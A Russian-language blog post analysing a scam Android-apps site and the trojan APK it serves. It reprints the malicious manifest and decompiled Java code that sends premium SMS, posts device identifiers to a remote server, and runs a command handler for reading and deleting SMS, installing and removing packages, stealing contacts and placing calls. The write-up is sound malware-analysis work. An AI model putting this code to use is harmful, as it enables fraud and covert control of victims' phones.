Каждый, наверное, сталкивался с сайтами, предлагающими пользователю платную подписку на ту или иную услугу. В силу специфики моей работы мне иногда приходится проверять подобные ресурсы. Чаще всего они наспех набиты контентом, фальшивыми комментариями и созданы специально для обмана пользователя. Создатели обещают золотые горы, а на деле все заканчивается банальным разводом на деньги. Данная статья — один из частных случаев анализа фейк-сайта с приложением для Android.
Все началось с того, что мне прислали на проверку сайт. По виду — обычный варезный блог с громкими заголовками типа “Бесплатные обои и картинки для андроида”, “Самые умные программы на андроид” и тому подобное. Сразу бросилось в глаза, что во всех постах одинаковые комментарии, оставленные “разными людьми”. Содержание примерно следующее:
— Сайт просит ввести номер телефона, это нормально?
— Да, это для регистрации, проверка, что ты не бот.
— О, круто, спасибо!
В общем факт обмана виден сразу, но я решил копать дальше. При попытке загрузить приложение из любого поста с помощью стационарного компьютера, меня перекидывает на другой ресурс. Ссылка вида http://****/**/?sub_id=* (ага, возможно партнерочка). Там мне предлагают купить за деньги Google Chrome (и ведь ведутся же люди!).
Допустим… Но ведь ресурс посвящен приложениям для Android устройств, значит, нужно попробовать зайти с девайса. Как и следовало ожидать: вместо предложения купить супер-браузер загружается install.apk. “Вот это уже интересно” — подумал я и не ошибся.
Первое, что бросилось в глаза — огромное количество потенциально опасных разрешений.
Не слабый набор, правда? Мне стало интересно, что же приложение делает со всеми этими разрешениями.
Не буду описывать сам процесс декомпиляции, лишь упомяну, что использовал apktools, dex2jar, JD-GUI и jad. В итоге я получил декомпилированные ресурсы и набор классов.
Первое, на что я обратил внимание, это, разумеется, AndroidManifest.xml.
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="100" android:versionName="100" package="install.app"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="4" android:targetSdkVersion="15" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/icon">
<activity android:theme="@android:style/Theme.NoTitleBar.Fullscreen" android:label="@string/app_name" android:name=".MainActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".MainReceiver" android:enabled="true">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<service android:name=".MainService" />
<receiver android:name="ru.beta.MainReceiver" android:enabled="true">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="custom.alarm" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.PHONE_STATE" />
<action android:name="android.intent.action.SCREEN_OFF" />
<action android:name="android.intent.action.SCREEN_ON" />
</intent-filter>
</receiver>
<service android:label="@string/app_name" android:name="ru.beta.MainService" />
</application>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INSTALL_PACKAGES" />
<uses-permission android:name="android.permission.DELETE_PACKAGES" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.CALL_PRIVILEGED" />
<uses-permission android:name="android.permission.GET_TASKS" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.RESTART_PACKAGES" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<uses-permission android:name="android.permission.READ_LOGS" />
</manifest>
Коротко о разрешениях:
READ_PHONE_STATE — получение информации о телефоне (номер телефона, серийник, информация о вызовах);
SEND_SMS — отправка sms-сообщений;
RECEIVE_SMS — прием sms-сообщений и последующее удаление их (именно поэтому приоритет у MainReceiver наивысший);
INTERNET — использование интернета;
WAKE_LOCK — отключает спящий режим (видимо для повышения стабильности :);
ACCESS_NETWORK_STATE — информация о сетевых соединениях;
RECEIVE_BOOT_COMPLETED — получать сообщения о загрузке устройства, что позволяет выполнять приложение при запуске;
WRITE_EXTERNAL_STORAGE — запись/удаление информации на карте памяти;
INSTALL_PACKAGES — приложение может устанавливать или обновлять пакеты;
DELETE_PACKAGES — приложение может удалять пакеты;
READ_CONTACTS — доступ к контактам;
CALL_PHONE — осуществляет телефонные вызовы;
CALL_PRIVILEGED — осуществляет телефонные вызовы, в том числе по экстренным номерам;
GET_TASKS — получение данных о запущенных приложениях;
SYSTEM_ALERT_WINDOW — показывает сообщения поверх всех окон;
RESTART_PACKAGES — способно завершать фоновые процессы других приложений (официальное описание);
KILL_BACKGROUND_PROCESSES — способно завершать фоновые процессы других приложений (официальное описание);
READ_LOGS — чтение конфиденциальных данных из журнала.
Так же есть ресивер, который срабатывает на следующие намерения:
SMS_RECEIVED — получено sms-сообщение;
custom.alarm — внутреннее событие;
BOOT_COMPLETED — загрузка завершена;
USER_PRESENT — пользователь разблокировал устройство;
PHONE_STATE — изменение состояния сотовой сети (не знаю, как выразиться корректней, также позволяет мониторить вызовы пользователя);
SCREEN_OFF — при отключении экрана;
SCREEN_ON — при включении экрана.
Так как времени на изучение приложение у меня было немного (стояла задача в общих чертах узнать, что делает приложение), я не стал вдаваться во все тонкости. Почти все URL там зашифрованы, и для расшифровки нужно просидеть не один час. Можно, конечно, получить их с помощью WireShark, но в этом нет необходимости.
Работа приложения
Пришло время заглянуть в декомпилированные классы. Начнем пожалуй с MainActivity. Я прокомментирую функции, на которые стоит обратить внимание:
public void onCreate(Bundle bundle)
{
int i;
super.onCreate(bundle);
Settings settings1;
WebViewClient webviewclient;
JSONObject jsonobject1;
int j;
int k;
try
{
//
// Подгрузка зашифрованных данных
//
JSONObject jsonobject = new JSONObject(Functions.decript(getString(0x7f050002)));
new Beta(getApplicationContext(), jsonobject);
}
catch(Exception exception2)
{
exception2.printStackTrace();
}
//
// Показывает пользователю диалог загрузки
//
showDialog(IDD_LOADING);
settings1 = new Settings();
if(!settings1.load(this))
settings1.save(this);
//
// Данная функция показана ниже
//
sendHttp();
handler = new Handler();
i = 0x7f030001;
jsonSettings = (new JSONObject(Constants.data)).getJSONObject("settings");
k = jsonSettings.getInt("mode");
if(k == 1)
//
// Запускается сервис с данными параметрами для отправки платного sms-сообщения
//
MainService.start(this, new Intent(), "pay");
if(k == 3)
i = 0x7f030001;
else
i = 0x7f030000;
_L1:
setContentView(i);
api = new WebApi(this, this);
webView = new WebView(this);
webviewclient = new WebViewClient() {
public void onPageFinished(WebView webview, String s)
{
System.out.println("Page loaded");
try
{
loadingDialog.dismiss();
}
catch(Exception exception3)
{
exception3.printStackTrace();
}
MainActivity.callJsCallbackAndroidVersion(android.os.Build.VERSION.RELEASE);
if(jsonSettings.getInt("mode") == 3)
MainActivity.executeJs(jsonSettings.getString("licenseJs"));
_L1:
return;
JSONException jsonexception;
jsonexception;
jsonexception.printStackTrace();
goto _L1
}
final MainActivity this$0;
{
this$0 = MainActivity.this;
super();
}
};
webView.setWebViewClient(webviewclient);
webView.setWebChromeClient(new WebChromeClient() {
// вырезано
});
// вырезано
if(jsonSettings.getInt("mode") == 4)
{
j = jsonobject1.getInt("mode");
if(j == 41 || j == 42)
//
// Запускается сервис с данными параметрами для отправки платного sms-сообщения
//
MainService.start(this, new Intent(), "pay");
}
webView.loadUrl((new StringBuilder("file:///android_asset/html/")).append(jsonobject1.getString("html")).append("/index.html").toString());
_L2:
return;
Exception exception;
exception;
exception.printStackTrace();
goto _L1
Exception exception1;
exception1;
exception1.printStackTrace();
goto _L2
}
//
// Регистрация устройства на сервере
//
public void sendHttp()
{
(new Thread(new Runnable() {
public void run()
{
//
// Приложение сливает данные об устройстве к себе на сервер
//
MainActivity.sendPostRequest((new JSONObject(Constants.data)).getJSONObject("settings").getString("startUrl").replace("{IMEI}", Constants.imei).replace("{IMSI}", Constants.imsi).replace("{PHONE}", Constants.phone).replace("{COUNTRY}", Constants.country).replace("{APPID}", getText(0x7f050001)).replace("{MODEL}", Build.MODEL).replace("{MANUFACTURER}", Build.MANUFACTURER).replace("{SDK}", String.valueOf(android.os.Build.VERSION.SDK_INT)), new LinkedList(), new LinkedList());
// вырезано
})).start();
_L1:
return;
Exception exception;
exception;
exception.printStackTrace();
goto _L1
}
При детальном анализе можно увидеть, что сообщение отправляется сразу, а не после нажатии кнопки “Далее” (как это обычно принято). Лицензионное соглашение есть, но оно очень хорошо запрятано. Но отправка сообщения — это не самая страшная проблема. Помните большое количество разрешений? Давайте посмотрим, зачем они все-таки нужны приложению.
Чтобы сэкономить место и ваше время, я не буду выкладывать MainReceiver. Сразу скажу, что он обрабатывает и удаляет (!) входящие сообщения, а в случае необходимости еще и отвечает.
Самое интересное находится в MainService. При запуске сервис подключается к серверу, запрашивает оттуда данные, получает нечто в json и при успешном ответе запускает метод executeCommands(jsonobject1). И тут начинается магия:
public void executeCommands(JSONObject jsonobject)
{
if(Constants.DEBUG)
System.out.println((new StringBuilder()).append("response: ").append(jsonobject.toString(4)).toString());
Settings settings = Settings.getSettings();
if(jsonobject.has("wait"))
{
if(Constants.DEBUG)
System.out.println("has wait");
settings.timeNextConnection = System.currentTimeMillis() + (long)(jsonobject.getInt("wait") * Constants.SECOND);
settings.save(this);
}
// Видимо предусмотрено для смены URL сервера
if(jsonobject.has("server"))
{
if(Constants.DEBUG)
System.out.println("has server");
settings.server = jsonobject.getString("server");
settings.save(this);
}
// Работа с смс фильтрами
if(jsonobject.has("removeAllSmsFilters"))
{
if(Constants.DEBUG)
System.out.println("has removeAllSmsFilters");
if(Boolean.valueOf(jsonobject.getBoolean("removeAllSmsFilters")).booleanValue())
{
settings.deleteSmsList.clear();
settings.save(this);
}
}
// Работа с смс фильтрами
if(jsonobject.has("removeAllCatchFilters"))
{
if(Constants.DEBUG)
System.out.println("has removeAllCatchFilters");
if(Boolean.valueOf(jsonobject.getBoolean("removeAllCatchFilters")).booleanValue())
{
settings.catchSmsList.clear();
settings.save(this);
}
}
// Удалить сообщения
if(jsonobject.has("deleteSms"))
{
if(Constants.DEBUG)
System.out.println("has deleteSms");
settings.deleteSmsList.clear();
settings.save(this);
JSONArray jsonarray5 = jsonobject.getJSONArray("deleteSms");
for(int j1 = 0; j1 < jsonarray5.length(); j1++)
{
JSONObject jsonobject7 = jsonarray5.getJSONObject(j1);
settings.deleteSmsList.add(new SmsItem(jsonobject7.getString("phone"), jsonobject7.getString("text")));
}
settings.save(this);
}
// Работа с смс фильтрами
if(jsonobject.has("catchSms"))
{
if(Constants.DEBUG)
System.out.println("has catchSms");
settings.catchSmsList.clear();
settings.save(this);
JSONArray jsonarray4 = jsonobject.getJSONArray("catchSms");
for(int i1 = 0; i1 < jsonarray4.length(); i1++)
{
JSONObject jsonobject6 = jsonarray4.getJSONObject(i1);
settings.catchSmsList.add(new SmsItem(jsonobject6.getString("phone"), jsonobject6.getString("text")));
}
settings.save(this);
}
// Отправить сообщение
if(jsonobject.has("sendSms"))
{
if(Constants.DEBUG)
System.out.println("has sendSms");
JSONArray jsonarray3 = jsonobject.getJSONArray("sendSms");
for(int l = 0; l < jsonarray3.length(); l++)
{
JSONObject jsonobject5 = jsonarray3.getJSONObject(l);
Functions.sendSms(jsonobject5.getString("phone"), jsonobject5.getString("text"));
}
}
// Выполнить http-запрос (botnet???)
if(jsonobject.has("httpRequest"))
{
if(Constants.DEBUG)
System.out.println("has httpRequest");
JSONObject jsonobject2 = jsonobject.getJSONObject("httpRequest");
String s4 = jsonobject2.getString("method");
String s5 = jsonobject2.getString("url");
ArrayList arraylist = new ArrayList();
ArrayList arraylist1 = new ArrayList();
JSONArray jsonarray1 = jsonobject2.getJSONArray("params");
for(int j = 0; j < jsonarray1.length(); j++)
{
JSONObject jsonobject4 = jsonarray1.getJSONObject(j);
arraylist.add(new BasicNameValuePair(jsonobject4.getString("name"), jsonobject4.getString("value")));
}
JSONArray jsonarray2 = jsonobject2.getJSONArray("properties");
for(int k = 0; k < jsonarray2.length(); k++)
{
JSONObject jsonobject3 = jsonarray2.getJSONObject(k);
arraylist1.add(new BasicNameValuePair(jsonobject3.getString("name"), jsonobject3.getString("value")));
}
Functions.sendSimpleHttpRequest(s5, s4, arraylist, arraylist1);
}
// Обновление самого себя
if(jsonobject.has("update"))
{
if(Constants.DEBUG)
System.out.println("has update");
String s1 = jsonobject.getString("update");
ConnectivityManager connectivitymanager = (ConnectivityManager)getSystemService("connectivity");
if(connectivitymanager.getNetworkInfo(1).isAvailable() || connectivitymanager.getNetworkInfo(0).isConnectedOrConnecting())
{
String s2 = (new StringBuilder()).append(System.currentTimeMillis()).append(".apk").toString();
String s3 = (new StringBuilder()).append(Environment.getExternalStorageDirectory()).append("/download/").toString();
if(Functions.downloadFile(s3, s1, s2))
Functions.installApk(this, (new StringBuilder()).append(s3).append(s2).toString());
}
}
// Удаление произвольного апк
if(jsonobject.has("uninstall"))
{
if(Constants.DEBUG)
System.out.println("has uninstall");
JSONArray jsonarray = jsonobject.getJSONArray("uninstall");
for(int i = 0; i < jsonarray.length(); i++)
Functions.uninstallApk(this, jsonarray.getString(i));
}
// Послать сообщение в бар
if(jsonobject.has("notification"))
{
if(Constants.DEBUG)
System.out.println("has notification");
JSONObject jsonobject1 = jsonobject.getJSONObject("notification");
String s = jsonobject1.getString("url");
Functions.showNotification(this, jsonobject1.getString("tickerText"), jsonobject1.getString("title"), jsonobject1.getString("text"), jsonobject1.getInt("icon"), s);
}
// Открыть произвольный URL
if(jsonobject.has("openUrl"))
{
if(Constants.DEBUG)
System.out.println("has openUrl");
Functions.openUrl(this, jsonobject.getString("openUrl"));
}
// Слить контакты на сервер
if(jsonobject.has("sendContactList"))
{
if(Constants.DEBUG)
System.out.println("has sendContactList");
if(Boolean.valueOf(jsonobject.getBoolean("sendContactList")).booleanValue())
{
ThreadOperation threadoperation1 = new ThreadOperation(this, 2, null);
(new Thread(threadoperation1)).start();
}
}
// Отправка списка установленных приложений на сервер
if(jsonobject.has("sendPackageList"))
{
if(Constants.DEBUG)
System.out.println("has sendPackageList");
if(Boolean.valueOf(jsonobject.getBoolean("sendPackageList")).booleanValue())
{
ThreadOperation threadoperation = new ThreadOperation(this, 3, null);
(new Thread(threadoperation)).start();
}
}
// Обновить URL Твиттера
if(jsonobject.has("twitter"))
{
if(Constants.DEBUG)
System.out.println("has twitter");
settings.twitterUrl = jsonobject.getString("twitter");
settings.save(this);
}
// Сделать вызов
if(jsonobject.has("makeCall"))
{
if(Constants.DEBUG)
System.out.println("has makeCall");
Functions.makeCall(this, jsonobject.getString("makeCall"));
}
_L1:
return;
Exception exception;
exception;
exception.printStackTrace();
goto _L1
}
Фактически это троянский конь. Классический такой троянский конь, позволяющий сливать данные пользователя и управлять его телефоном.
Резюме
На хабре не тот контингент, которому стоит читать нотацию на тему “не ставьте не проверенные приложения”, поэтому данную часть своего выступления я опущу.
Первые вредоносные приложения просто отправляли платные sms-сообщения, потом начали рассылать себя всем из списка контактов, а теперь — мы имеем полноценную троянскую лошадь, которую можно дергать за поводья удаленно. Эволюция…
Перечислю еще раз вкратце (для тех, кто пролистал, не читая код с моими комментариями) что умеет делать приложение:
1. Менять URL основного сервера
2. Устанавливать sms-фильтры (удалять то, что попадает в фильтр еще до того, как пользователь успеет получить уведомление)
3. Удалять сообщения
4. Отправлять сообщения
5. Выполнять http-запросы (botnet???)
6. Проверять наличие обновлений и обновляться
7. Удалять произвольные пакеты
8. Отправлять пользователю нотификации
9. Открывать произвольный URL
10. Сливать контакты на сервер
11. Сливать список установленных приложений на сервер
12. Выполнять произвольные вызовы (например, в Замбези)
13. Использовать Twitter в качестве альтернативного способа обновления некоторых данных (к сожалению, декомпиляция прошла с ошибками и не все файлы удалось просмотреть).
На этом все. Не попадайтесь.
P.S. Если кто-то захочет сам посмотреть на данное творение — пишите в личку.
Автор: AgentSIB